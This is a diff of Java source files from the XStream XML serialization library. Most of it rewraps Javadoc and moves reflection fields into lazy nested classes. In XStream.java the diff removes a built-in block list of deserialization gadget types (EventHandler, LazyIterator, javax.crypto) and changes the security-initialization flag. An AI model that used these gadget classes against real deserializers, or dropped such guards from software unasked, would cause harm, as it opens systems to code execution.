1839 ReferenceByXPathMarshallingStrategy.RELATIVE
1749 setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(ReferenceByXPathMarshallingStrategy.RELATIVE
18401750 | ReferenceByXPathMarshallingStrategy.SINGLE_NODE));
18411751 break;
18421752 case SINGLE_NODE_XPATH_ABSOLUTE_REFERENCES:
1843 setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(
1844 ReferenceByXPathMarshallingStrategy.ABSOLUTE
1753 setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(ReferenceByXPathMarshallingStrategy.ABSOLUTE
18451754 | ReferenceByXPathMarshallingStrategy.SINGLE_NODE));
18461755 break;
18471756 default:
18531762 * Adds a default implicit collection which is used for any unmapped XML tag.
18541763 *
18551764 * @param ownerType class owning the implicit collection
1856 * @param fieldName name of the field in the ownerType. This field must be a concrete
1857 * collection type or matching the default implementation type of the collection
1858 * type.
1765 * @param fieldName name of the field in the ownerType. This field must be a concrete collection type or matching
1766 * the default implementation type of the collection type.
18591767 */
18601768 public void addImplicitCollection(Class ownerType, String fieldName) {
18611769 addImplicitCollection(ownerType, fieldName, null, null);
18651773 * Adds implicit collection which is used for all items of the given itemType.
18661774 *
18671775 * @param ownerType class owning the implicit collection
1868 * @param fieldName name of the field in the ownerType. This field must be a concrete
1869 * collection type or matching the default implementation type of the collection
1870 * type.
1776 * @param fieldName name of the field in the ownerType. This field must be a concrete collection type or matching
1777 * the default implementation type of the collection type.
18711778 * @param itemType type of the items to be part of this collection
18721779 * @throws InitializationException if no {@link ImplicitCollectionMapper} is available
18731780 */
18761783 }
18771784
18781785 /**
1879 * Adds implicit collection which is used for all items of the given element name defined by
1880 * itemFieldName.
1786 * Adds implicit collection which is used for all items of the given element name defined by itemFieldName.
18811787 *
18821788 * @param ownerType class owning the implicit collection
1883 * @param fieldName name of the field in the ownerType. This field must be a concrete
1884 * collection type or matching the default implementation type of the collection
1885 * type.
1789 * @param fieldName name of the field in the ownerType. This field must be a concrete collection type or matching
1790 * the default implementation type of the collection type.
18861791 * @param itemFieldName element name of the implicit collection
18871792 * @param itemType item type to be aliases be the itemFieldName
18881793 * @throws InitializationException if no {@link ImplicitCollectionMapper} is available
18891794 */
1890 public void addImplicitCollection(Class ownerType, String fieldName, String itemFieldName,
1891 Class itemType) {
1795 public void addImplicitCollection(Class ownerType, String fieldName, String itemFieldName, Class itemType) {
18921796 addImplicitMap(ownerType, fieldName, itemFieldName, itemType, null);
18931797 }
18941798
18971801 *
18981802 * @param ownerType class owning the implicit array
18991803 * @param fieldName name of the array field
1900 * @since 1.4
1804 * @since 1.4
19011805 */
19021806 public void addImplicitArray(Class ownerType, String fieldName) {
19031807 addImplicitCollection(ownerType, fieldName);
19041808 }
19051809
19061810 /**
1907 * Adds an implicit array which is used for all items of the given itemType when the array
1908 * type matches.
1811 * Adds an implicit array which is used for all items of the given itemType when the array type matches.
19091812 *
19101813 * @param ownerType class owning the implicit array
19111814 * @param fieldName name of the array field in the ownerType
19121815 * @param itemType type of the items to be part of this array
1913 * @throws InitializationException if no {@link ImplicitCollectionMapper} is available or the
1914 * array type does not match the itemType
1915 * @since 1.4
1816 * @throws InitializationException if no {@link ImplicitCollectionMapper} is available or the array type does not
1817 * match the itemType
1818 * @since 1.4
19161819 */
19171820 public void addImplicitArray(Class ownerType, String fieldName, Class itemType) {
19181821 addImplicitCollection(ownerType, fieldName, itemType);
19191822 }
19201823
19211824 /**
1922 * Adds an implicit array which is used for all items of the given element name defined by
1923 * itemName.
1825 * Adds an implicit array which is used for all items of the given element name defined by itemName.
19241826 *
19251827 * @param ownerType class owning the implicit array
19261828 * @param fieldName name of the array field in the ownerType
19271829 * @param itemName alias name of the items
19281830 * @throws InitializationException if no {@link ImplicitCollectionMapper} is available
1929 * @since 1.4
1831 * @since 1.4
19301832 */
19311833 public void addImplicitArray(Class ownerType, String fieldName, String itemName) {
19321834 addImplicitCollection(ownerType, fieldName, itemName, null);
19361838 * Adds an implicit map.
19371839 *
19381840 * @param ownerType class owning the implicit map
1939 * @param fieldName name of the field in the ownerType. This field must be a concrete
1940 * map type or matching the default implementation type of the map
1941 * type.
1841 * @param fieldName name of the field in the ownerType. This field must be a concrete map type or matching the
1842 * default implementation type of the map type.
19421843 * @param itemType type of the items to be part of this map as value
19431844 * @param keyFieldName the name of the field of the itemType that is used for the key in the map
1944 * @since 1.4
1845 * @since 1.4
19451846 */
19461847 public void addImplicitMap(Class ownerType, String fieldName, Class itemType, String keyFieldName) {
19471848 addImplicitMap(ownerType, fieldName, null, itemType, keyFieldName);
19511852 * Adds an implicit map.
19521853 *
19531854 * @param ownerType class owning the implicit map
1954 * @param fieldName name of the field in the ownerType. This field must be a concrete
1955 * map type or matching the default implementation type of the map
1956 * type.
1855 * @param fieldName name of the field in the ownerType. This field must be a concrete map type or matching the
1856 * default implementation type of the map type.
19571857 * @param itemName alias name of the items
19581858 * @param itemType type of the items to be part of this map as value
19591859 * @param keyFieldName the name of the field of the itemType that is used for the key in the map
1960 * @since 1.4
1961 */
1962 public void addImplicitMap(Class ownerType, String fieldName, String itemName,
1963 Class itemType, String keyFieldName) {
1860 * @since 1.4
1861 */
1862 public void addImplicitMap(Class ownerType, String fieldName, String itemName, Class itemType,
1863 String keyFieldName) {
19641864 if (implicitCollectionMapper == null) {
19651865 throw new com.thoughtworks.xstream.InitializationException("No "
19661866 + ImplicitCollectionMapper.class.getName()
19831883 }
19841884
19851885 /**
1986 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using
1987 * XStream.
1886 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
19881887 * <p>
19891888 * To change the name of the root element (from &lt;object-stream&gt;), use
19901889 * {@link #createObjectOutputStream(java.io.Writer, String)}.
19911890 * </p>
19921891 *
1993 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
1994 * String)
1892 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
19951893 * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
19961894 * @since 1.0.3
19971895 */
19981896 public ObjectOutputStream createObjectOutputStream(Writer writer) throws IOException {
1999 return createObjectOutputStream(
2000 hierarchicalStreamDriver.createWriter(writer), "object-stream");
2001 }
2002
2003 /**
2004 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using
2005 * XStream.
1897 return createObjectOutputStream(hierarchicalStreamDriver.createWriter(writer), "object-stream");
1898 }
1899
1900 /**
1901 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
20061902 * <p>
20071903 * To change the name of the root element (from &lt;object-stream&gt;), use
20081904 * {@link #createObjectOutputStream(java.io.Writer, String)}.
20091905 * </p>
20101906 *
2011 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2012 * String)
1907 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
20131908 * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
20141909 * @since 1.0.3
20151910 */
2016 public ObjectOutputStream createObjectOutputStream(HierarchicalStreamWriter writer)
2017 throws IOException {
1911 public ObjectOutputStream createObjectOutputStream(HierarchicalStreamWriter writer) throws IOException {
20181912 return createObjectOutputStream(writer, "object-stream");
20191913 }
20201914
20211915 /**
2022 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using
2023 * XStream.
2024 *
2025 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2026 * String)
1916 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
1917 *
1918 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
20271919 * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
20281920 * @since 1.0.3
20291921 */
2030 public ObjectOutputStream createObjectOutputStream(Writer writer, String rootNodeName)
2031 throws IOException {
2032 return createObjectOutputStream(
2033 hierarchicalStreamDriver.createWriter(writer), rootNodeName);
2034 }
2035
2036 /**
2037 * Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream
2038 * using XStream.
1922 public ObjectOutputStream createObjectOutputStream(Writer writer, String rootNodeName) throws IOException {
1923 return createObjectOutputStream(hierarchicalStreamDriver.createWriter(writer), rootNodeName);
1924 }
1925
1926 /**
1927 * Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream using XStream.
20391928 * <p>
20401929 * To change the name of the root element (from &lt;object-stream&gt;), use
20411930 * {@link #createObjectOutputStream(java.io.Writer, String)}.
20421931 * </p>
20431932 *
2044 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2045 * String)
1933 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
20461934 * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
20471935 * @since 1.3
20481936 */
20491937 public ObjectOutputStream createObjectOutputStream(OutputStream out) throws IOException {
2050 return createObjectOutputStream(
2051 hierarchicalStreamDriver.createWriter(out), "object-stream");
2052 }
2053
2054 /**
2055 * Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream
2056 * using XStream.
2057 *
2058 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2059 * String)
1938 return createObjectOutputStream(hierarchicalStreamDriver.createWriter(out), "object-stream");
1939 }
1940
1941 /**
1942 * Creates an ObjectOutputStream that serializes a stream of objects to the OutputStream using XStream.
1943 *
1944 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
20601945 * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
20611946 * @since 1.3
20621947 */
2063 public ObjectOutputStream createObjectOutputStream(OutputStream out, String rootNodeName)
2064 throws IOException {
2065 return createObjectOutputStream(
2066 hierarchicalStreamDriver.createWriter(out), rootNodeName);
2067 }
2068
2069 /**
2070 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using
2071 * XStream.
1948 public ObjectOutputStream createObjectOutputStream(OutputStream out, String rootNodeName) throws IOException {
1949 return createObjectOutputStream(hierarchicalStreamDriver.createWriter(out), rootNodeName);
1950 }
1951
1952 /**
1953 * Creates an ObjectOutputStream that serializes a stream of objects to the writer using XStream.
20721954 * <p>
2073 * Because an ObjectOutputStream can contain multiple items and XML only allows a single
2074 * root node, the stream must be written inside an enclosing node.
1955 * Because an ObjectOutputStream can contain multiple items and XML only allows a single root node, the stream must
1956 * be written inside an enclosing node.
20751957 * </p>
20761958 * <p>
2077 * It is necessary to call ObjectOutputStream.close() when done, otherwise the stream will
2078 * be incomplete.
1959 * It is necessary to call ObjectOutputStream.close() when done, otherwise the stream will be incomplete.
20791960 * </p>
20801961 * <h3>Example</h3>
20811962 *
21051986 * @since 1.4.10
21061987 */
21071988 public ObjectOutputStream createObjectOutputStream(final HierarchicalStreamWriter writer, final String rootNodeName,
2108 final DataHolder dataHolder) throws IOException {
1989 final DataHolder dataHolder)
1990 throws IOException {
21091991 final StatefulWriter statefulWriter = new StatefulWriter(writer);
21101992 statefulWriter.startNode(rootNodeName, null);
21111993 return new CustomObjectOutputStream(new CustomObjectOutputStream.StreamCallback() {
21352017 }
21362018
21372019 /**
2138 * Creates an ObjectInputStream that deserializes a stream of objects from a reader using
2139 * XStream.
2020 * Creates an ObjectInputStream that deserializes a stream of objects from a reader using XStream.
21402021 *
21412022 * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2142 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2143 * String)
2023 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
21442024 * @since 1.0.3
21452025 */
21462026 public ObjectInputStream createObjectInputStream(Reader xmlReader) throws IOException {
21482028 }
21492029
21502030 /**
2151 * Creates an ObjectInputStream that deserializes a stream of objects from an InputStream
2152 * using XStream.
2031 * Creates an ObjectInputStream that deserializes a stream of objects from an InputStream using XStream.
21532032 *
21542033 * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)
2155 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2156 * String)
2034 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
21572035 * @since 1.3
21582036 */
21592037 public ObjectInputStream createObjectInputStream(InputStream in) throws IOException {
21742052 * Object c = out.readObject();
21752053 * </pre>
21762054 *
2177 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter,
2178 * String)
2055 * @see #createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String)
21792056 * @since 1.0.3
21802057 */
21812058 public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader) throws IOException {
21972074 throw new EOFException();
21982075 }
21992076 reader.moveDown();
2200 final Object result = unmarshal(reader, dataHolder);
2077 final Object result = unmarshal(reader, null, dataHolder);
22012078 reader.moveUp();
22022079 return result;
22032080 }
22102087 throw new NotActiveException("not in call to readObject");
22112088 }
22122089
2213 public void registerValidation(ObjectInputValidation validation, int priority)
2214 throws NotActiveException {
2090 public void registerValidation(ObjectInputValidation validation, int priority) throws NotActiveException {
22152091 throw new NotActiveException("stream inactive");
22162092 }
22172093
22222098 }
22232099
22242100 /**
2225 * Change the ClassLoader XStream uses to load classes. Creating an XStream instance it will
2226 * register for all kind of classes and types of the current JDK, but not for any 3rd party
2227 * type. To ensure that all other types are loaded with your class loader, you should call
2228 * this method as early as possible - or consider to provide the class loader directly in
2229 * the constructor.
2101 * Change the ClassLoader XStream uses to load classes. Creating an XStream instance it will register for all kind
2102 * of classes and types of the current JDK, but not for any 3rd party type. To ensure that all other types are
2103 * loaded with your class loader, you should call this method as early as possible - or consider to provide the
2104 * class loader directly in the constructor.
22302105 *
22312106 * @since 1.1.1
22322107 */
22422117 public ClassLoader getClassLoader() {
22432118 return classLoaderReference.getReference();
22442119 }
2245
2246 /**
2247 * Retrieve the reference to this instance' ClassLoader. Use this reference for other
2248 * XStream components (like converters) to ensure that they will use a changed ClassLoader
2249 * instance automatically.
2120
2121 /**
2122 * Retrieve the reference to this instance' ClassLoader. Use this reference for other XStream components (like
2123 * converters) to ensure that they will use a changed ClassLoader instance automatically.
22502124 *
22512125 * @return the reference
22522126 * @since 1.4.5
22562130 }
22572131
22582132 /**
2259 * Prevents a field from being serialized. To omit a field you must always provide the
2260 * declaring type and not necessarily the type that is converted.
2133 * Prevents a field from being serialized. To omit a field you must always provide the declaring type and not
2134 * necessarily the type that is converted.
22612135 *
22622136 * @since 1.1.3
22632137 * @throws InitializationException if no {@link ElementIgnoringMapper} is available
22702144 }
22712145 elementIgnoringMapper.omitField(definedIn, fieldName);
22722146 }
2273
2147
22742148 /**
22752149 * Ignore all unknown elements.
22762150 *
23132187 */
23142188 public void processAnnotations(final Class[] types) {
23152189 if (annotationConfiguration == null) {
2316 throw new com.thoughtworks.xstream.InitializationException("No "
2317 + ANNOTATION_MAPPER_TYPE
2318 + " available");
2190 throw new com.thoughtworks.xstream.InitializationException("No " + ANNOTATION_MAPPER_TYPE + " available");
23192191 }
23202192 annotationConfiguration.processAnnotations(types);
23212193 }
23222194
23232195 /**
2324 * Process the annotations of the given type and configure the XStream. A call of this
2325 * method will automatically turn the auto-detection mode for annotations off.
2196 * Process the annotations of the given type and configure the XStream. A call of this method will automatically
2197 * turn the auto-detection mode for annotations off.
23262198 *
23272199 * @param type the type with XStream annotations
23282200 * @since 1.3
23322204 }
23332205
23342206 /**
2335 * Set the auto-detection mode of the AnnotationMapper. Note that auto-detection implies
2336 * that the XStream is configured while it is processing the XML steams. This is a potential
2337 * concurrency problem. Also is it technically not possible to detect all class aliases at
2338 * deserialization. You have been warned!
2207 * Set the auto-detection mode of the AnnotationMapper. Note that auto-detection implies that the XStream is
2208 * configured while it is processing the XML steams. This is a potential concurrency problem. Also is it technically
2209 * not possible to detect all class aliases at deserialization. You have been warned!
23392210 *
23402211 * @param mode <code>true</code> if annotations are auto-detected
23412212 * @since 1.3
23452216 annotationConfiguration.autodetectAnnotations(mode);
23462217 }
23472218 }
2348
2219
23492220 /**
23502221 * Add a new security permission.
2351 *
23522222 * <p>
23532223 * Permissions are evaluated in the added sequence. An instance of {@link NoTypePermission} or
23542224 * {@link AnyTypePermission} will implicitly wipe any existing permission.
23592229 */
23602230 public void addPermission(TypePermission permission) {
23612231 if (securityMapper != null) {
2362 securityInitialized = true;
2232 securityInitialized |= permission.equals(NoTypePermission.NONE) || permission.equals(AnyTypePermission.ANY);
23632233 securityMapper.addPermission(permission);
23642234 }
23652235 }
2366
2236
23672237 /**
23682238 * Add security permission for explicit types by name.
23692239 *
23732243 public void allowTypes(String[] names) {
23742244 addPermission(new ExplicitTypePermission(names));
23752245 }
2376
2246
23772247 /**
23782248 * Add security permission for explicit types.
23792249 *
23832253 public void allowTypes(Class[] types) {
23842254 addPermission(new ExplicitTypePermission(types));
23852255 }
2386
2256
23872257 /**
23882258 * Add security permission for a type hierarchy.
23892259 *
23932263 public void allowTypeHierarchy(Class type) {
23942264 addPermission(new TypeHierarchyPermission(type));
23952265 }
2396
2266
23972267 /**
23982268 * Add security permission for types matching one of the specified regular expressions.
23992269 *
24032273 public void allowTypesByRegExp(String[] regexps) {
24042274 addPermission(new RegExpTypePermission(regexps));
24052275 }
2406
2276
24072277 /**
24082278 * Add security permission for types matching one of the specified regular expressions.
24092279 *
24132283 public void allowTypesByRegExp(Pattern[] regexps) {
24142284 addPermission(new RegExpTypePermission(regexps));
24152285 }
2416
2286
24172287 /**
24182288 * Add security permission for types matching one of the specified wildcard patterns.
24192289 * <p>
24212291 * </p>
24222292 * <ul>
24232293 * <li>?: one non-control character except separator, e.g. for 'java.net.Inet?Address'</li>
2424 * <li>*: arbitrary number of non-control characters except separator, e.g. for types in a package like 'java.lang.*'</li>
2425 * <li>**: arbitrary number of non-control characters including separator, e.g. for types in a package and subpackages like 'java.lang.**'</li>
2294 * <li>*: arbitrary number of non-control characters except separator, e.g. for types in a package like
2295 * 'java.lang.*'</li>
2296 * <li>**: arbitrary number of non-control characters including separator, e.g. for types in a package and
2297 * subpackages like 'java.lang.**'</li>
24262298 * </ul>
24272299 *
24282300 * @param patterns the patterns to allow type names
24312303 public void allowTypesByWildcard(String[] patterns) {
24322304 addPermission(new WildcardTypePermission(patterns));
24332305 }
2434
2306
24352307 /**
24362308 * Add security permission denying another one.
24372309 *
24412313 public void denyPermission(TypePermission permission) {
24422314 addPermission(new NoPermission(permission));
24432315 }
2444
2316
24452317 /**
24462318 * Add security permission forbidding explicit types by name.
24472319 *
24512323 public void denyTypes(String[] names) {
24522324 denyPermission(new ExplicitTypePermission(names));
24532325 }
2454
2326
24552327 /**
24562328 * Add security permission forbidding explicit types.
24572329 *
24612333 public void denyTypes(Class[] types) {
24622334 denyPermission(new ExplicitTypePermission(types));
24632335 }
2464
2336
24652337 /**
24662338 * Add security permission forbidding a type hierarchy.
24672339 *
24712343 public void denyTypeHierarchy(Class type) {
24722344 denyPermission(new TypeHierarchyPermission(type));
24732345 }
2474
2346
24752347 /**
24762348 * Add security permission forbidding types matching one of the specified regular expressions.
24772349 *
24812353 public void denyTypesByRegExp(String[] regexps) {
24822354 denyPermission(new RegExpTypePermission(regexps));
24832355 }
2484
2356
24852357 /**
24862358 * Add security permission forbidding types matching one of the specified regular expressions.
24872359 *
24912363 public void denyTypesByRegExp(Pattern[] regexps) {
24922364 denyPermission(new RegExpTypePermission(regexps));
24932365 }
2494
2366
24952367 /**
24962368 * Add security permission forbidding types matching one of the specified wildcard patterns.
24972369 * <p>
24992371 * </p>
25002372 * <ul>
25012373 * <li>?: one non-control character except separator, e.g. for 'java.net.Inet?Address'</li>
2502 * <li>*: arbitrary number of non-control characters except separator, e.g. for types in a package like 'java.lang.*'</li>
2503 * <li>**: arbitrary number of non-control characters including separator, e.g. for types in a package and subpackages like 'java.lang.**'</li>
2374 * <li>*: arbitrary number of non-control characters except separator, e.g. for types in a package like
2375 * 'java.lang.*'</li>
2376 * <li>**: arbitrary number of non-control characters including separator, e.g. for types in a package and
2377 * subpackages like 'java.lang.**'</li>
25042378 * </ul>
25052379 *
25062380 * @param patterns the patterns to forbid names
25162390 }
25172391
25182392 /**
2519 * @deprecated As of 1.3, use {@link com.thoughtworks.xstream.InitializationException}
2520 * instead
2393 * @deprecated As of 1.3, use {@link com.thoughtworks.xstream.InitializationException} instead
25212394 */
25222395 public static class InitializationException extends XStreamException {
25232396 /**
25312404
25322405 /**
25332406 * @deprecated As of 1.3, use
2534 * {@link com.thoughtworks.xstream.InitializationException#InitializationException(String)}
2535 * instead
2407 * {@link com.thoughtworks.xstream.InitializationException#InitializationException(String)} instead
25362408 */
25372409 public InitializationException(String message) {
25382410 super(message);
25392411 }
25402412 }
2541
2542 private class InternalBlackList implements Converter {
2543
2544 public boolean canConvert(final Class type) {
2545 return (type == void.class || type == Void.class)
2546 || (!securityInitialized
2547 && type != null
2548 && (type.getName().equals("java.beans.EventHandler")
2549 || type.getName().endsWith("$LazyIterator")
2550 || type.getName().startsWith("javax.crypto.")));
2551 }
2552
2553 public void marshal(final Object source, final HierarchicalStreamWriter writer,
2554 final MarshallingContext context) {
2555 throw new ConversionException("Security alert. Marshalling rejected.");
2556 }
2557
2558 public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) {
2559 throw new ConversionException("Security alert. Unmarshalling rejected.");
2560 }
2561 }
25622413 }
00 /*
11 * Copyright (C) 2004, 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2013 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
4343 */
4444 public class PropertiesConverter implements Converter {
4545
46 private final static Field defaultsField = Fields.locate(Properties.class, Properties.class, false);
4746 private final boolean sort;
4847
4948 public PropertiesConverter() {
6867 writer.addAttribute("value", entry.getValue().toString());
6968 writer.endNode();
7069 }
71 if (defaultsField != null) {
72 Properties defaults = (Properties)Fields.read(defaultsField, properties);
70 if (Reflections.defaultsField != null) {
71 Properties defaults = (Properties)Fields.read(Reflections.defaultsField, properties);
7372 if (defaults != null) {
7473 writer.startNode("defaults");
7574 marshal(defaults, writer, context);
101100 }
102101 }
103102
103 private static class Reflections {
104 private final static Field defaultsField = Fields.locate(Properties.class, Properties.class, false);
105 }
104106 }
00 /*
11 * Copyright (C) 2004, 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2016, 2018 XStream Committers.
2 * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2016, 2018, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
4646 }
4747
4848 private final static Comparator NULL_MARKER = new NullComparator();
49 private final static Field comparatorField = Fields.locate(TreeMap.class, Comparator.class, false);
5049
5150 public TreeMapConverter(Mapper mapper) {
5251 super(mapper, TreeMap.class);
7069 }
7170
7271 public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
73 TreeMap result = comparatorField != null ? new TreeMap() : null;
72 TreeMap result = Reflections.comparatorField != null ? new TreeMap() : null;
7473 final Comparator comparator = unmarshalComparator(reader, context, result);
7574 if (result == null) {
7675 result = comparator == null || comparator == NULL_MARKER ? new TreeMap() : new TreeMap(comparator);
115114 populateMap(reader, context, result, sortedMap);
116115 try {
117116 if (JVM.hasOptimizedTreeMapPutAll()) {
118 if (comparator != null && comparatorField != null) {
119 comparatorField.set(result, comparator);
117 if (comparator != null && Reflections.comparatorField != null) {
118 Reflections.comparatorField.set(result, comparator);
120119 }
121120 result.putAll(sortedMap); // internal optimization will not call comparator
122 } else if (comparatorField != null) {
123 comparatorField.set(result, sortedMap.comparator());
121 } else if (Reflections.comparatorField != null) {
122 Reflections.comparatorField.set(result, sortedMap.comparator());
124123 result.putAll(sortedMap); // "sort" by index
125 comparatorField.set(result, comparator);
124 Reflections.comparatorField.set(result, comparator);
126125 } else {
127126 result.putAll(sortedMap); // will use comparator for already sorted map
128127 }
130129 throw new ObjectAccessException("Cannot set comparator of TreeMap", e);
131130 }
132131 }
132
133 private static class Reflections {
134 private final static Field comparatorField = Fields.locate(TreeMap.class, Comparator.class, false);
135 }
133136 }
00 /*
11 * Copyright (C) 2004, 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2016, 2018 XStream Committers.
2 * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2016, 2018, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
4040 */
4141 public class TreeSetConverter extends CollectionConverter {
4242 private transient TreeMapConverter treeMapConverter;
43 private final static Field sortedMapField;
44 private final static Object constantValue;
45 static {
46 Object value = null;
47 sortedMapField = JVM.hasOptimizedTreeSetAddAll() ? Fields.locate(TreeSet.class, SortedMap.class, false) : null;
48 if (sortedMapField != null) {
49 TreeSet set = new TreeSet();
50 set.add("1");
51 set.add("2");
52
53 Map backingMap = null;
54 try {
55 backingMap = (Map)sortedMapField.get(set);
56 } catch (final IllegalAccessException e) {
57 // give up;
58 }
59 if (backingMap != null) {
60 Object[] values = backingMap.values().toArray();
61 if (values[0] == values[1]) {
62 value = values[0];
63 }
64 }
65 } else {
66 Field valueField = Fields.locate(TreeSet.class, Object.class, true);
67 if (valueField != null) {
68 try {
69 value = valueField.get(null);
70 } catch (final IllegalAccessException e) {
71 // give up;
72 }
73 }
74 }
75 constantValue = value;
76 }
7743
7844 public TreeSetConverter(Mapper mapper) {
7945 super(mapper, TreeSet.class);
9258 Comparator unmarshalledComparator = treeMapConverter.unmarshalComparator(reader, context, null);
9359 boolean inFirstElement = unmarshalledComparator instanceof Mapper.Null;
9460 Comparator comparator = inFirstElement ? null : unmarshalledComparator;
95 if (sortedMapField != null) {
61 if (Reflections.sortedMapField != null) {
9662 TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
9763 Object backingMap = null;
9864 try {
99 backingMap = sortedMapField.get(possibleResult);
65 backingMap = Reflections.sortedMapField.get(possibleResult);
10066 } catch (IllegalAccessException e) {
10167 throw new ObjectAccessException("Cannot get backing map of TreeSet", e);
10268 }
134100 UnmarshallingContext context, Map map, final Map target) {
135101 populateCollection(reader, context, new AbstractList() {
136102 public boolean add(Object object) {
137 return target.put(object, constantValue != null ? constantValue : object) != null;
103 return target
104 .put(object, Reflections.constantValue != null
105 ? Reflections.constantValue
106 : object) != null;
138107 }
139108
140109 public Object get(int location) {
155124 };
156125 return this;
157126 }
127
128 private static class Reflections {
129
130 private final static Field sortedMapField;
131 private final static Object constantValue;
132 static {
133 Object value = null;
134 sortedMapField = JVM.hasOptimizedTreeSetAddAll() ? Fields.locate(TreeSet.class, SortedMap.class, false) : null;
135 if (sortedMapField != null) {
136 TreeSet set = new TreeSet();
137 set.add("1");
138 set.add("2");
139
140 Map backingMap = null;
141 try {
142 backingMap = (Map)sortedMapField.get(set);
143 } catch (final IllegalAccessException e) {
144 // give up;
145 }
146 if (backingMap != null) {
147 Object[] values = backingMap.values().toArray();
148 if (values[0] == values[1]) {
149 value = values[0];
150 }
151 }
152 } else {
153 Field valueField = Fields.locate(TreeSet.class, Object.class, true);
154 if (valueField != null) {
155 try {
156 value = valueField.get(null);
157 } catch (final IllegalAccessException e) {
158 // give up;
159 }
160 }
161 }
162 constantValue = value;
163 }
164 }
158165 }
00 /*
11 * Copyright (C) 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2013 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
3636 */
3737 public class EnumMapConverter extends MapConverter {
3838
39 private final static Field typeField = Fields.locate(EnumMap.class, Class.class, false);
40
4139 public EnumMapConverter(Mapper mapper) {
4240 super(mapper);
4341 }
4442
4543 public boolean canConvert(Class type) {
46 return typeField != null && type == EnumMap.class;
44 return type == EnumMap.class && Reflections.typeField != null;
4745 }
4846
4947 public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
50 Class type = (Class) Fields.read(typeField, source);
48 Class type = (Class) Fields.read(Reflections.typeField, source);
5149 String attributeName = mapper().aliasForSystemAttribute("enum-type");
5250 if (attributeName != null) {
5351 writer.addAttribute(attributeName, mapper().serializedClass(type));
6664 populateMap(reader, context, map);
6765 return map;
6866 }
67
68 private static class Reflections {
69 private final static Field typeField = Fields.locate(EnumMap.class, Class.class, false);
70 }
6971 }
00 /*
11 * Copyright (C) 2005 Joe Walnes.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2018 XStream Committers.
2 * Copyright (C) 2006, 2007, 2008, 2009, 2018, 2020 XStream Committers.
33 * All rights reserved.
44 *
55 * The software in this package is published under the terms of the BSD
3838 */
3939 public class EnumSetConverter implements Converter {
4040
41 private final static Field typeField = Fields.locate(EnumSet.class, Class.class, false);
4241 private final Mapper mapper;
4342
4443 public EnumSetConverter(Mapper mapper) {
4645 }
4746
4847 public boolean canConvert(Class type) {
49 return typeField != null && type != null && EnumSet.class.isAssignableFrom(type);
48 return type != null && EnumSet.class.isAssignableFrom(type) && Reflections.typeField != null;
5049 }
5150
5251 public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
5352 EnumSet set = (EnumSet) source;
54 Class enumTypeForSet = (Class) Fields.read(typeField, set);
53 Class enumTypeForSet = (Class) Fields.read(Reflections.typeField, set);
5554 String attributeName = mapper.aliasForSystemAttribute("enum-type");
